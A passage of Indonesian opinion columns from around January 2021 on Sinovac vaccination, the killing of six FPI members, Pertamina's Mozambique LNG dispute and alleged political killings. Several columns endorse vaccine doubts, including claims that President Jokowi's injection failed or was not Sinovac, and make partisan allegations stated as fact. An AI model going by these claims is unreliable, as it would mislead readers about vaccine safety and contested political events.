mengaku hanya bersedia divaksin buatan dalam negeri, yakni Vaksin Merah Putih. Ke NKRI-an dokter cantik ini sangat mengagumkan. "Lebih baik saya mati setelah disuntik Vaksin Merah Putih. Daripada mati dalam suntikan vaksin lain (Sinovac)," tegasnya. Sebab itu, seandainya dia mati atas Vaksin Merah Putih setidaknya kematiannya bernilai kebangsaan. Menggerakkan si peneliti vaksin untuk memperbaiki kualitas temuannya, agar tak terjadi ulang pada pihak lain. Vaksinasi Covid-19 belum tamat hanya sampai pada Presiden Jokowi disuntik. Kita tunggu bersama kisah vaksinasi ini pada peristiwa lanjutan. Apakah normal-normal saja? Baik-baik saja? Ataukah berefek tragis yang menimbulkan korban jiwa seperti yang pernah terjadi di vaksinasi polio beberapa tahun lalu itu? Vaksin folio itu juga terjadi masih dalam kepemimpinan Jokowi.

Perlu SKB Enam Menteri Soal Vaksin

by Tony Rosyid Jakarta FNN - Pandemi akibat Covid-19 belum juga berakhir. Bahkan eskalasinya dalam beberapa hari belakangan ini justru semakin naik. Setiap hari hampir 13 ribu orang terinveksi. Lebih dari 200 orang mati. Total kematian mencapai lebih dari 24 ribu. Segala upaya sudah dilakukan. Mulai Mencuci Tangan, Memakai Masker dan Menjaga Jarak (3M) sampai dengan membatasi aktifitas kerja dan kerumunan. Saat pandemi, semua aspek kehidupan termasuk sosial, ekonomi dan ibadah mengalami banyak perubahan. Selama pandemi, puluhan orang kena denda akibat melanggar Protokol Kesehatan (Prokes), khususnya di DKI. Soal penerapan prokes tersebut, DKI memang dikenal lebih tegas dari daerah lain. Ada juga yang dipenjara gegara melanggar prokes. Pertanyaannya, kenapa angka yang terinveksi tak juga turun, malah terus naik? Ada tiga penyebabnya. Pertama, kebijakan yang sering terlambat dan tidak konsisten. Kedua, aturan yang tidak benar-benar ditegakkan untuk semua. Ketiga, kedisiplinan masyarakat yang rendah. Ujung-ujungnya, herd immunity. Saat ini, 3M dianggap tidak cukup. Muncul gagasan vaksinasi. Bahkan sudah dijalankan. Semua langkah memang perlu ditempuh, selama itu memberi efek pencegahan, atau setidaknya meminimalisir jumlah terinveksi. Selama tujuan dan realisasinya benar, efek positifnya terukur, dan terjamin keamanannya, rakyat relatif akan bisa menerima. Ada penelitian menarik yang dilakukan Kemenag soal vaksinasi. Sebanyak 54, 37 persen rakyat menerima untuk divaksin. Sekitar 9,39 persen lagi menolak. Dan sisanya 36,25 persen belum punya pilihan. Bisa diartikan, masih ragu-ragu. Masih banyak masyarakat yang ragu dan menolak untuk divaksin. Mulai dari dokter, perawat, anggota DPR hingga rakyat biasa. Salah satunya karena faktor informasi yang simpang siur. Ada enam hal yang perlu diperhatikan oleh pemerintah sebelum "atau sembari" program vaksinasi dijalankan. Pertama, perlunya jaminan bahwa vaksinasi ini halal, aman, efektif dan tidak ada risiko. Jika ada risiko, baik ringan maupun berat, pemerintah sebaiknya menjamin akan bertanggungjawab, setidaknya secara materiil. Misalnya, pemerintah menanggung biaya rumah sakit jika terjadi risiko akibat vaksinasi. Pemerintah pun menjamin biaya hidup keluarganya jika sampai ada tulang punggung keluarga yang meninggal akibat vaksinasi. Kedua, soal regulasi. Vaksinasi wajib, boleh menolak tanpa sanksi, atau seperti apa. Vaksinasi jadi tanggung jawab pusat, atau daerah. Perlu ada kepastian hukum. Entah itu kepres, peraturan menteri, atau peraturan kepala daerah. Bila perlu Surat Keputusan Bersama (SKB) enam Menteri, yaitu Menkes, Mensos, Menkominfo, Mendagri, Menkumham dan menteri BUMN. Kok banyak kali menteri yang terlibat? Biar mantabs saja. Sekarang lagi musim serba "enam". Ketiga, soal panduan teknis. Mesti jelas siapa yang melakukan vaksinasi? Dimana saja tempat vaksinasi? Urutan pasien berdasarkan profesi dan wilayah, serta kepastian schedulenya. Setiap orang dapat berapa kali vaksinasi. Semua orang akan mendapat vaksin sinovac yang sama atau beda. Apa saja yang harus dilakukan oleh peserta vaksinasi, baik sebelum atau sesudah divaksin. Setelah divaksin, bolehkah berkerumun tanpa masker, misalnya. Disini, perlu panduan secara rinci. Keempat, sosialisasi. Perlu ada jubir khusus yang ditunjuk sebagai pihak resmi yang menyampaikan informasi atas nama pemerintah. Kalau semua pejabat bicara tentang vaksinasi, rakyat jadi bingung. Pejabat A bilang ada sanksi. Pejabat B bilang nggak ada sanksi. Menteri A bilang ini, menteri B bilang itu, kan berabe. Simpang siur. Sudah lama simpang siur informasi dari para pejabat tinggi negara terjadi. Sudah waktunya ditertibkan. Kelima, soal konsistensi. Mesti dipikirkan, didiskusikan dan direncanakan secara matang sebelum aturan, kebijakan atau panduan terkait vaksinasi itu dibuat. Inkonsistensi akan pasti terjadi jika persiapan tidak dilakukan dengan matang. Keenam, perlu pengawasan. Jangan sampai ada malpraktek, atau adanya pihak-pihak yang berbisnis secara tidak halal di program vaksinasi ini. Agar tidak bernasib seperti bansos dan Kementerian Benur, program vaksinasi mesti diawasi lebih ketat. Supaya tidak ada lagi korupsi. Bila perlu, KPK terlibat. Jaminan halal, aman, efektifitas, serta ada pertanggungjawaban medis dan material dari pemerintah kemungkinan akan dapat mengurangi setidaknya tingkat keraguran pada rakyat. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Dorong Koalisi Sipil Lapor ke Pengadilan Kejahatan Internasional

by M. Rizal Fadillah Bandung FNN – Komisi Nasional Hak Asasi Manusia (Komnas HAM) sudah final menyampaikan hasil penyelidikan. Bahwa kasus penembakan terhadap 6 anggota Laskar Pront Pembela Islam (FPI) adalah "Pelanggaran HAM". Selanjutnya proses Pengadilan pidana adalah tindak lanjut. Presiden tinggal memerintahkan kepada Jaksa Agung untuk mulai penyidikan. Mudah-mudahan saja, untuk menetapkan tersangka, baik pelaku penembakan maupun yang ikut serta, termasuk kemungkinan atasan dari pelaku kejahatan tidak menemui hambatan. Tidak ada lagi kesulitan, seperti yang terjadi pada penyedisik Komisi Pemberantasan Korupsi (KPK) Novel Baswedan. Tidak perlu butuh bertahun-tahun untuk menemukan tersangkanya. Entah bentuk perlawanan atau pengaburan kasus, serangan penguasa kepada Habib Rizieq Shihab (HRS) belakangan ini terasa semakin membabi buta. Seribu satu macam kesalahan pun dicari-cari. Setelah kasus baru ditimpakan seperti soal test swab di Rumah Sakit (RS) UMMI yang menyeret juga menantu HRS dan Direksi RS UMMI, kini soal pemblokiran rekening yang merajalela. Disamping 59 rekening yang terkait dengan FPI diblokir oleh Pusat Pelaporan Analisis dan Transaksi Keuangan (PPATK), juga 7 rekening milik putera HRS pun ikut diblokir. Belakangan adanya informasi bahwa bahwa rekening pribadi Munarman yang konon untuk menampung uang pensiunan ayahnya juga diblokis. Padahal rekening Munarman itu, sebagai biaya ibunya yang sedang sakit. Pemblokiran yang sebenarnya secara hukum tidak beralasan ini dapat saja digugat ke pengadilan. Akan tetapi persoalannya adalah kuatnya kemauan politik yang tidak peduli akan hukum. Kemauan politik yang bermisi secara brutal untuk "menghabisi HRS, keluarga, FPI, dan segala keterkaitannya". Hal ini sesungguhnya masuk dalam ruang kesewenang-wenangan kekuasaan yang sekaligus menjadi lanjutan pelanggaran HAM secara terang-terangan. Dalam kasus pembunuhan 6 anggota Laskar FPI terus digemakan suara pentingnya pembentukan Tim Pencari Fakta (TPF) Independen. Disamping itu, untuk obyektivitas dan keterbukaan proses peradilan, semangat menarik kalau melibatkan Mahkamah Internasional. Banyak fihak yang mencari solusi untuk mekanisme atau prosedurnya. Komnas HAM sendiri yang melapor hasil penyelidikan kepada Presiden, semakin terlihat tidak dapat dipercaya. Koalisi Masyarakat Sipil yang terdiri dari banyak organisasi yang peduli dengan HAM telah membuat buku saku tentang International Criminal Court (ICC). Buku saku untuk ICC sebagai lembaga peradilan kejahatan internasional yang siap mengadili kejahatan kemanusiaan. Apalagi negara pelanggar HAM tersebut, tidak ada kemauan (unwilling) dan tidak ada kemampuan (unability) untuk memproses kejahatan pelanggaran HAM. Nampaknya perlu kebersamaan semua pihak untuk menguak pelanggaran HAM yang terjadi di negeri ini. Baik kasus 6 laskar FPI, kasus kematian 6-9 orang pada 21-22 Mei 2019 di depan Bawaslu, atau pun kasus tewasnya kurang lebih 989 petugas Pemilu pada Pilpres yang lalu. Semuanya menjadi terasa mutlak untuk keterlibatan Pengadilan Kriminal Internasional. Apalagi mengingat ketidakmauan dan ketidakmampuan Pemerintah untuk menuntaskan kasus-kasus tersebut. Keluarga korban, tokoh dan aktivis, para pengacara, bersama-sama dengan Koalisi Masyarakat Sipil kiranya perlu mencari solusi. Pelaporan atau pengaduan kepada lembaga seperti ICC menjadi salah satu upaya yang dinilai strategis dalam memperjuangkan dan menegakkan kebenaran dan keadilan. Andaikata pemerintah mau "mundur sedikit" melangkah bersama rakyat, maka mungkin solusi bersama mengatasi problema dapat digalang. Akan tetapi bila "maju terus pantang mundur", maka posisinya yang berhadap-hadapan dengan koalisi masyarakat sipil pasti akan terjadi. Iklim politik yang tidak sehat seperti ini selalu berprinsip "menang dan kalah". Lalu negara (baca : pemerintah) tidak boleh kalah ? Jika demikian berlaku hukum, "Fa idza jaa-a ajaluhum la yasta'khiruun saa'atan walaa yastaqdimuun" (QS Al A'raf 34). Jika saat ajal telah tiba, maka tidak ada kekuatan apapun yang bisa mempercepat atau memundurkan. Itulah momen dari perubahan. Bisa 2024 bisa pula 2021. Wallahu a'lam. Penulis adalah Pemerhati Politik dan Kebangsaan.

Pertamina Digugat Mozambik Rp 40 Triliun, Pemerintah Tanggungjawab!

by Dr. Marwan Batubara Jakarta FNN - Pada Februari 2019 Pertamina telah menandatangani perjanjian jual beli (sale and purchase agreement, SPA) dengan Anadarko Petroleum Corporation. Perjanjianuntuk pembelian LNG dari Mozambique LNG1 Company Pte. Ltd (MLNGC). Kesepakatan berlaku untuk pengiriman LNG sebesar 1 mtpa (million ton per annum) dalam jangka waktu 20 tahun. Belakangan muncul masalah. Harga gas dunia turun dan pasokan gas/LNG dalam negeri melimpah, sehingga serapan gas domestik, termasuk untuk diekspor, tidak maksimal. Setelah berlangsung hampir setahun, Pertamina tak kunjung mengeksekusi SPA tu, meski telah berulang kali diingatkan MLNGC. Belakangan Menteri Energi Mozambik menulis surat kepada Menteri ESDM untuk menagih komitmen Pertamina. Jika tidak, Pertamina akan dituntut membayar ganti rugi US$2,8 miliar (sekitar Rp 40 triliun). Faktanya memang program jangka panjang terkait bisnis gas dan LNG, yang dari awal merupakan bagian dari bisnis Pertamina, belum pernah dibatalkan manajemen Pertamina yang baru. Hal ini terjadi atas sepengetahuan komisaris sebagai wakil pemegang saham. Karena menyangkut uang negara hingga Rp 40 triliun, maka gugatan tersebut perlu ditinjau dan dianalisis, termasuk menelusuri siapa saja pihak-pihak yang terlibat dan siapa pula yang harus bertanggungjawab. Sebagai perusahaan yang 100% sahamnya milik negara, tentu rakyat sebagai stakeholders Pertamina tidak rela membayar denda yang sangat besar. Apalagi jika hal itu disebabkan oleh segelintir orang yang ada di sekitar kekuasaan pemerintahan. Rakyat perlu pahami masalah ini. Membahas secara transparan dan menggugat pihak-pihak yang terlibat jika terjadi pelanggaran hukum dan/atau tindak KKN. Pengadaan LNG sejak awal pembentukan Direktorat Gas masuk dalam Rencana Jangka Panjang Pertamina sejak sekitar 2012. Impor LNG umumnya disetujui pada Rapat Umum Pemegang Saham (RUPS) Pertamina setiap awal tahun. Artinya, rencana impor LNG memang dilakukan atas dasar telah adanya persetujuan pemerintah. Demikian halnya dengan pengadaan LNG Mozambik, telah masuk dalam Rencana Kerja dan Anggaran Pertamina yang disetujui RUPS pemegang saham pada tahun 2019. Persetujuan pemerintah diberikan melalui wakil pemerintah yang menjabat Komisaris Utama dan Komisaris saat RUPS berlangsung. Tidak mungkin Direksi Pertamina (saat itu dipimpin Nicke Widyawati) berani menyusun Rencana Kerja dan Anggaran Pertamina dan merencanakan pembelian LNG tanpa persetujuan pemegang saham (Kementrian BUMN dan pemerintahan Jokowi). Secara rutin, setiap tahun pemerintah melalui Kementrian ESDM menyusun dan menerbitkan neraca gas nasional, yang mencakup supply dan demand. Ternyata, rencana impor LNG dari Mozambik tersebut memang ditetapkan setelah mengacu pada ketersediaan dan konsumsi gas yang tercantum dalam neraca gas nasional yang terbit pada 2018. Apakah gas yang diproduksi Pertamina tidak cukup? Tampaknya memang demikian. Sebab, support dari kepemilikan gas dan LNG diperlukan karena produksi natural gas yang dihasilkan anak perusahaan Pertamina tidak secara otomatis seluruhnya menjadi milik Pertamina, tetapi harus melalui pengajuan alokasi terlebih dahulu kepada pemerintah/KESDM. Jika ditelisik, volume LNG Mozambik yang akan diimpor ditetapkan setelah mempertimbangkan kebutuhan Pertamina menggunakan gas untuk mengoperasikan kilang BBM dalam proyek Refinery Development Master Plan (RDMP) dan Proyek Listrik Tenaga Gas Uap (PLTGU) Jawa-1 berkapasitas 1.760 MW di Cilamaya, Jawa Barat. Kedua proyek besar tersebut akan membutuhkan gas cukup besar dan tidak dapat dipenuhi supply gas domestik. Kebutuhan ini pun ditetapkan setelah mempertimbangkan harga LNG Mozambik yang murah dan hasil kajian konsultan yang disewa pemerintah/Pertamina. Hal lain yang perlu dicatat, pengadaan LNG sebagai bahan bakar pengganti BBM maupun pengganti bahan baku gas, merupakan salah satu syarat dari pemerintah untuk mendapatkan persetujuan investasi proyek. Baik untuk mengikuti tender PLTGU Jawa-1, maupun rencana pembangunan proyek RDMP yang merupakan proyek yang dipantau Presiden. Silakan terlibat proyek PLTGU Jawa-1 dan RDMP, asal Pertamina mau impor LNG Mazambik. Dalam hal ini mafia dan oligarki pemburu rente bisa saja terlibat. Presiden Jokowi sendiri telah menetapkan proyek RDMP Pertamina sebagai bagian dari Proyek Strategis Nasional (PEN) sesuai Perpres No.109/2020. Pada situs Komite Percepatan Percepatan Penyediaan Infrastruktur Prioritas (KPPIP), RDMP disebut sebagai proyek revitalisasi kilang-kilang BBM Pertamina di Cilacap, Balongan, Dumai dan Balikpapan. RDMP dijalankan bersamaan dengan proyek kilang baru, Grass Root Refinery (GRR) di Tuban. Menurut KPPIP nilai investasi proyek RDMP/GRR Rp. 246 triliun. Kembali ke gugatan Mozambik Rp 40 triliun, tuntutan itu potensial menjadi tanggungan Pertamina. Karena itu perlu diidentifikasi penyebab dan siapa penanggungjawab.Pertama, karena Pertamina memang tidak meresponse balik atau mengkonfirmasi rencana pembelian kepada pihak penjual, maka Pertamina harus bertanggungjawab. Padahal response tersebut merupakan tahapan dan syarat yang harus dilalui dalam kontrak perjanjian jual beli gas/LNG. Tahapan ini merupakan hal yang rutin dilakukan oleh Direktorat Gas sebelum dibubarkan dan Pertagas diakuisisi PGN pada 2018. Kedua, sejak dibubarkannya Direktorat Gas Pertamina yang biasanya menangani bisnis gas/LNG, pucuk pimpinan Pertamina bisa saja tidak aware atau tidak care dengan keberdaan bisnis tersebut. Padahal bisnis gas dan LNG ini bukan hanya bisnis Pertamina. Tetapi juga bisnis yang menguntungkan Indonesia. Bisa saja kealpaan Pertamina ini akibat kelupaan, ketidakpedulian atau kesengajaan. Apa pun itu, akibat buruknya adalah Pertamina sangat berpotensi merugi Rp 40 triliun. Dalam hal ini, Pertamina dan pemerintah yang telah membubarkan Direktorat Gas layak pula harus bertanggungjawab. Ketiga, untuk mencegah turunnya harga saham atau bangkrutnya PGN, pada 2018-2019 pemerintah telah membuat kebijakan mengalihkan sebagian besar bisnis gas dan LNG Pertamina ke PGN dan memaksa Pertamina menjual saham Pertagas ke PGN (pola inbreng). Lalu Direktorat Gas Pertamina dibubarkan. Pada akhirnya tidak semua bisnis gas, apalagi bisnis LNG yang sarat reputasi dan modal, dapat dialihkan dan mampu dikelola PGN dengan baik. Akibatnya sampai saat ini sejumlah bisnis gas/LNG yang dirintis dan dikelola Pertamina menjadi terbengkalai, termasuk LNG dari Mozambik. Kebijakan pemerintah mengalihkan bisnis gas dan LNG yang lebih mengutamakan pemegang saham asing dan publik di PGN ini diduga bernuansa moral hazard. Patut diusut tuntas secara hukum. Yang jelas, akibat kebijakan ini sangat potensial membuat Pertamina harus membayar denda sekitar Rp 40 triliun dalam kontrak LNG Mozambik. Keempat, Pertamina dan pemerintah melalui komisaris Pertamina tak kunjung mengeluarkan kebijakan dan membuat keputusan atas permasalahan LNG Mozambik yang terlanjur dibeli Pertamina. Padahal LNG tersebut belum dapat segera digunakan karena keterlambatan pembangunan kilang RDPM/GRR. Rakyat pantas menuntut pemerintah yang gagal membuat keputusan, termasuk Komut Pertamina yang sebenarnya tidak layak secara legal menjadi Komut, karena diduga terlibat berbagai kasus korupsi Kelima, tertundanya proyek RDMP dan pembangunan kilang-kilang BBM baru tahun-tahun sebelumnya tak lepas dari peran mafia minyak. Mereka ditengarai terus menghambat pembangunan dan revitalisasi kilang-kilang Pertamina, agar dapat terus menikmati rente impor BBM/minyak. Keterlambatan dan hambatan atas proyek RDMP pantas pula dipertanyakan kepada pemerintah, termasuk kepada Presiden Jokowi, yang pada Juli 2014 pernah berjanji akan memberantas mafia minyak. Ketika hasil audit forensik KordaMentha, yang berisi peran dan keterlibatan mafia minyak dalam impor minyak/BBM melalui Petral akan dilaporkan ke KPK, laporan justru tertahan karena tidak disetujui Presiden Jokowi. Menteri ESDM Sudirman Said mengungkap Presiden Jokowi yang memintanya menunda melaporkan hasil audit Petral oleh KordaMentha kepada KPK (16/2/2019). "Malam itu saya dapat pesan Presiden lewat seseorang, laporan Petral ke KPK ditunda dulu," kata Sudirman di Jakarta, 16/2/2019. Ternyata laporan ditunda hingga sekarang atau malah sudah dikubur! Lima penyebab yang potensial membuat Pertamina merugi Rp 40 triliun di atas, secara terang benderang menunjukkan besarnya pengaruh pemerintah dalam mengelola Pertamina dan bisnis migas nasional. Prinsipnya, pengelolaan tersebut tidak sesuai prinsip good corporate governance, dan patut diduga bernuansa moral hazard. Terkesan “ugal-ugalan” atau “semau gue”. Sedikit melihat ke belakang, menjelang Pilpres 2019, Pertamina telah menjadi sapi perah dan korban intervensi kebijakan “ugal-ugalan”. Sehingga harus menanggung beban subsidi BBM sekitar Rp 96 triliun (akumulasi 2017-2019). Beban subsidi ini mestinya ditanggung APBN. Namun karena pembayaran melalui APBN tidak lancar, beban subsidi itu telah membuat keuangan Pertamina nyaris mengalami gagal bayar (default). Kondisi APBN yang semakin bermasalah akibat pandemi Covid-19, piutang Pertamina ke pemerintah pun tak kunjung diselesaikan pemerintah. Untuk membantu keuangan Pertamina, pemerintah membiarkan Pertamina tidak menurunkan harga BBM saat harga minyak dunia turun. Harga terendah sempat menyentuh angka US$ 20 per barel pada Maret 2020. Padahal sesuai formula harga BBM yang sudah berlaku bertahun-tahun, harga BBM harus turun saat harga minyak turun. Kondisi harga turun ini pun terjadi di seluruh dunia. Kebijakan pemerintah tidak menurunkan harga BBM sesuai peraturan dan formula harga yang diterbitkan sendiri oleh pemerintah jelas merupakan pelangggaran hukum yang serius. Akibatnya, konsumen BBM Indonesia membayar lebih mahal dari yang seharusnya, yang jumlahnya sekitar Rp 70 triliun untuk periode Maret hingga Desember 2020. Ringkasnya, akibat kebijakan “semau gue” yang sarat kepentingan politik pencitraan Pilpres 2019, Pertamina dirugikan puluhan triliun, dan ujungnya konsumen BBM lah yang menjadi korban. Harus menanggung kerugian sekitar Rp 70 triliun akibat harga BBM yang lebih mahal. Jika akhirnya Pertamina harus menanggung kerugian membayar denda Rp 40 triliun akibat kontrak LNG Mozambik yang bermasalah, maka yang menjadi penyebab tampaknya tidak jauh berbeda dengan kasus harga BBM. Keduanya berpangkal pada kebijakan pemerintah yang bersifat semau gue dan bernuansa moral hazard. Ditambah pula oleh sikap manajemen BUMN yang ABS. Kebijakan tersebut tampaknya tak jauh dari sikap menjadikan BUMN sebagai sapi perah dan objek untuk perburuan rente. Apakah DPR dan lembaga penegak hukum peduli? No way. Kasus LNG Mozambik siap-siap merontokkan Pertamina. Tapi Pertamina bisa saja survive karena disubsidi rakyat melalui harga BBM yang tidak turun, asal harga minyak dunia turun signifikan. Selamat untuk mafia, pemburu rente dan “pemimpin” yang ingin memberantas mafia! Penulis adalah Direktur Eksekutif IRESS.

Geger Baru Vaksin Sinovac: Jokowi vs Ribka Tjiptaning

by Mochamad Toha Surabaya, FNN - Presiden Joko Widodo sudah divaksin Sinovac di Istana Negara pada Rabu, 13 Januari 2021. Prof. dr. Abdul Muthalib, Wakil Ketua Tim Dokter Kepresidenan, yang menyuntik Presiden itu sempat gemetaran ketika proses penyuntikan. “Menyuntik orang pertama di Indonesia ada rasa (gemetar) juga. Tapi, masalah itu tidak jadi halangan buat saya untuk menyuntikkannya,” kata Prof Muthalib. Proses penyuntikan selesai dalam waktu singkat. Presiden Jokowi menyebut tidak ada yang dirasakannya saat disuntik vaksin tersebut. “Waktu menyuntikkannya tidak masalah, pertamanya saja agak gemetaran. Bapak tidak ada pendarahan sama sekali di bekas suntikannya,” lanjutnya. Setelah disuntik, Jokowi menunggu sebentar untuk memastikan kondisinya. Dilihat di akun YouTube Sekretariat Presiden, Jokowi masih terlihat bugar seperti sebelum disuntik. Jokowi pun terlihat berdiri dan berjalan di dalam ruangan Orang yang sudah disuntik vaksin harus menunggu 30 menit. Setelah itu, orang yang disuntik tadi bisa kembali beraktivitas. Vaksinasi Corona perdana ini juga disiarkan langsung di akun YouTube Sekretariat Presiden. Jokowi disuntik vaksin oleh tim vaksinasi COVID-19. Sebelum disuntik, Jokowi duduk di kursi pertama. Jokowi menjalani tes tekanan darah dan ditanya ada atau tidaknya gejala yang dirasakan Jokowi oleh tim tenaga kesehatan terlebih dahulu. Selain Jokowi, sederet pejabat lain juga turut divaksinasi. Di antaranya Menkes Budi Gunadi Sadikin dan Ketua PB IDI dr. Daeng M. Faqih. Juga ada Panglima TNI Marsekal TNI Hadi Tjahjanto dan tokoh agama (Islam, Katolik, Protestan dan lain-lain), termasuk MUI. MUI sendiri sudah “melabeli” vaksin Sinovac sebagai produk “suci dan halal”, seolah telah menjawab keraguan umat Islam atas kehalalan vaksin Sinovac buatan China ini. Pasalnya, bibit vaksin Sinovac itu dikulturkan di jaringan organ monyet (vero cell). Meski Presiden Jokowi sudah berusaha meyakinkan masyarakat dengan “demo” suntikan vaksin Sinovac atas dirinya, tapi toh suara sumbang masih terjadi di lingkungan PDIP, partai yang mengusung dan membesarkannya. Lihat saja ungkapan Anggota Komisi IX DPR RI dari Fraksi PDIP, Ribka Tjiptaning yang berpendapat, bisa saja cairan yang disuntikkan kepada Presiden Jokowi dan sejumlah tokoh lainnya pada Rabu (13/1/2021) bukan vaksin buatan Sinovac. Dugaan tersebut dilontarkan Ribka dalam Rapat Kerja dan Rapat Dengar Pendapat Lanjutan Komisi IX DPR RI bersama dengan Menkes Budi Gunadi Sadikin, Kepala BPOM Penny Lukito, dan Direktur Utama PT Biofarma Honesti Basyir pada Rabu (13/1/2021). “Bisa saja itu bukan Sinovac yang dikasih, kan kita enggak tahu semuanya, jangan ada dusta di antara kita,” kata Ribka. Di sisi lain, Ribka melanjutkan, Jokowi tidak bakal mengalami kesulitan jika ditemukan masalah ke depan imbas dari suntikan tersebut. Pasalnya, Jokowi bersama tokoh lainnya dilengkapi dengan fasilitas kesehatan masyarakat yang prima. “Kalau Pak Jokowi jadi contoh demonstratif begitu disuntik orang pertama, kita semua tahu kalau itu Sinovac, kalau ada apa-apa? Ya, memang dokternya saja yang ngikuti ada berapa, rumah sakit siap, tetapi yang [ada di daerah] di ujung-ujung sana, susah,” tutur Ribka. Sikap itu disampaikan Ribka berlatar pada pengalamannya saat menjabat Ketua Komisi IX. Ketika itu, dia mengingat, terdapat sejumlah vaksin yang ditemukan bermasalah dan berdampak buruk pada kesehatan masyarakat. “Yang tadinya vaksin untuk polio malah [jadi] lumpuh layu, yang kaki gajah jadi mati 12 [orang] di Sindangaya sana di Jawa Barat,” kata Ribka. Kekhawatiran Ribka yang berlatar belakang dokter tentu saja cukup beralasan. Tak hanya tokoh PDIP seperti Ribka saja yang mengkritisi vaksinasi pasca Presiden Jokowi divaksin. Seorang dokter spesialis, dr Taufiq Muhibbuddin Waly, SpPD, mengirim surat ke Presiden Jokowi pada Rabu, 13 Januari 2021. “Setelah melihat berkali-kali video itu dan berdiskusi dengan para dokter serta para perawat senior, maka saya menyimpulkan bahwa vaksinasi yang Anda lakukan adalah gagal. Atau, Anda belum divaksinasi,” tulis Dokter Taufiq. Alasannya adalah injeksi vaksin Sinovac, seharusnya intramuskular (menembus otot). Untuk itu, penyuntikan haruslah dilakukan dengan tegak lurus (90 derajat). Dan, memakai jarum suntik untuk ukuran volume minimal 3cc (spuit 3cc). “Tetapi yang menyuntik tadi siang memakai spuit 1cc dan tidak tegak lurus 90 derajat. Hal tersebut menyebabkan vaksin tidak menembus otot sehingga tidak masuk ke dalam darah,” lanjutnya. Suntikan vaksin yang dilakukan pada Jokowi itu hanyalah sampai di kulit (intrakutan) atau di bawah kulit (sub kutan). Dan, itu berarti vaksin tidak masuk ke darah. Pabrik vaksin Sinovac telah membuat zat vaksin tersebut, hanya bisa masuk ke dalam darah bila disuntikkan dengan cara intramuskular. Penyuntikan di kulit (intrakutan) atau di bawah kulit (subkutan) tersebut tak akan menyebabkan vaksin tersebut masuk ke dalam darah. Kalaupun bisa masuk, hanya sedikit sekali. Lain halnya bila vaksin atau obat itu di desain untuk tidak disuntikkan secara intramuskular. Misalnya menyuntikkan insulin. Injeksi insulin harus dilakukan secara subkutan. “Setelah menonton berkali-kali, saya melihat bahwa masih ada vaksin yang tertinggal pada spuit tersebut. Atau, tidak seluruh vaksin disuntikkan,” ungkap Dokter Taufiq. Ia juga melihat vaksinasi pada Raffi Ahmad. Penyuntikan dengan sudut 90 derajat itu sudah benar. Vaksin dalam spuit telah habis dikeluarkan semuanya. Tetapi, karena yang digunakan spuit 1cc, maka sudah pasti spuit itu tidak bisa menembus otot Raffi Ahmad. Atau, Raffi Ahmad pun harus mengulang vaksinasi Covid-19 seperti juga Presiden Jokowi. Dokter Taufiq tentunya tidak mungkin berkirim surat itu tanpa dasar. Apalagi, dalam surat itu disebut, “berdiskusi dengan para dokter serta para perawat senior”. Begitu pula Ribka Tjiptaning yang lebih ekstrim lagi dengan menyebut, bisa saja cairan yang disuntikkan itu “bukan vaksin buatan Sinovac”. Bisa jadi, “suara” Ribka ini sebenarnya suara riil rakyat dan PDIP yang menolak vaksinasi! Masyarakat juga banyak yang ragu dengan vaksin Sinovac. Apalagi, kata Ribka, vaksin Sinovac adalah rongsokan asal Cina. Sebelumnya dia dengan tegas menolak divaksin. Ribka lebih memilih membayar denda. WHO tidak memungkiri jika banyak kalangan yang masih meragukan efektivitas dan keamanan vaksin corona. WHO dan seluruh kepentingan di dunia perlu berjuang meyakinkan masyarakat umum agar mau divaksinasi. “Cerita soal vaksin adalah berita bagus. Ini adalah kemenangan usaha manusia atas musuh mikroba. Kita perlu meyakinkan orang dan kita perlu meyakinkan mereka," kata Direktur Urusan Darurat WHO, Micahel Ryan, seperti dikutip AFP. Lebih dari 50 negara kini dilaporkan telah memulai vaksinasi Covid-19. Diperkirakan 70-90 persen dari 7,8 miliar orang di dunia perlu divaksin sebelum mencapai “herd immunity” agar dapat kembali ke kehidupan normal. Penulis adalah Wartawan Senior FNN.co.id

Pembunuhan Politik Jadi Pilihan Para Penguasa

by M Rizal Fadillah Bandung FNN -Terbunuhnya aktivis Munir Said Thalib beberapa tahun lalu, di masa Pemerintahan Megawati Soekarnoputri, di pesawat Garuda Indonesia dalam perjalanan menuju Belanda adalah pembunuhan politik. Mungkin rezim takut selama studi di Belanda, Munir akan banyak membangun akses yang berefek pada sikap dunia pada pemerintah Indonesia. Tersangka yang divonis bersalah hanya almarhum Pollycarpus Budihari Prijanto, mantan pilot Gadura Indonesia. Sedangkan aktor intelektual beserta jaringan pembunuhannya, masih aman-aman saja. Masih aman-aman saja. Bahkan sampi dengan Pollycarpus keluar dari penjara, dan meninggal dunia mereka masih masih man-aman saja. Akibat pembunuhan politik? Sedangkan terbunuhnya secara sadis 6 anggota Laskar Front Pembela Islam (FPI) bukan pembunuhan yang berkualifikasi biasa. Tetapi kualifikasinya adalah pelanggaran Hak Azasi manusia (HAM). Dimulai dari target dan kegiatan pengintaian dan pembuntutan yang dinilai tidak legal adalah Habib Rizieq Shihab (HRS). Kini HRS mendekam di tahanan. HRS dan FPI telah menjadi sasaran "pembantaian politik”. HRS ditempatkan sebagai lawan politik yang sanghat berbahaya. Bisa mengancam eksistensi dan keselamatan pemerintah Jokowi di tengah gagalnya penanganan Covid-19 dan resesi ekonomi yang semakin para. Belum lagi indeks tindak pidana korupsi yang semakin marak di era pemerintahan Jokowi. Korupsinya tidak tanggung-tanggung. Bantuan Sosial (Bansos) yang dikelola Kementerian Sosal bernilai trilunan rupiah, yang seharusnya diterima oleh masyarakat yang membutuhkan, malah dikorupsi. Komisi Pemberantasan Korupsi (KPK) mensinyalis ada 17.760.000 paket Bansos kemungkinan bodong. Tidak sampai ke masyarakat, karena orangngnya tidak ada. Paket Bansos bodong 17.760.000 tersebut, terdidiri dari 16.700.000 paket, orangnya tidak mempunyai Nomor Induk Kependudukan (NIK), dan 1.0.60.000 paket bansos lagi adalah NIK ganda. Jika satu paket Bansos senilai Rp 300.000,- maka totalnya senilai Rp Rp. 5,328 triliun. Itu baru data bodong saja. Terbunuhnya 6 anggota FPI yang menjadi pengawal HRS di masa pemerintahan Jokowi ini dapat juga disebut sebagai pembunuhan politik. Pebunuhan yang berusaha mengalihkan kegagalan pemerintahan Jokowi di berbagai bidang. Satu-satunya keberhasilan pemerintahan Jokowi hanya pembangunan infrastruktur. Itu pun dengan biaya yang harus dihitung ulang oleh auditor keuangan dan konstruksi. Hutang yang dibuat selama pemerintahan Jokowi enam tahun sudah Rp. 3.400 triliun. Banding dengan hutang sejak Indonesia merdeka sampai berakhir pemerintahan SBY sebesar Rp. 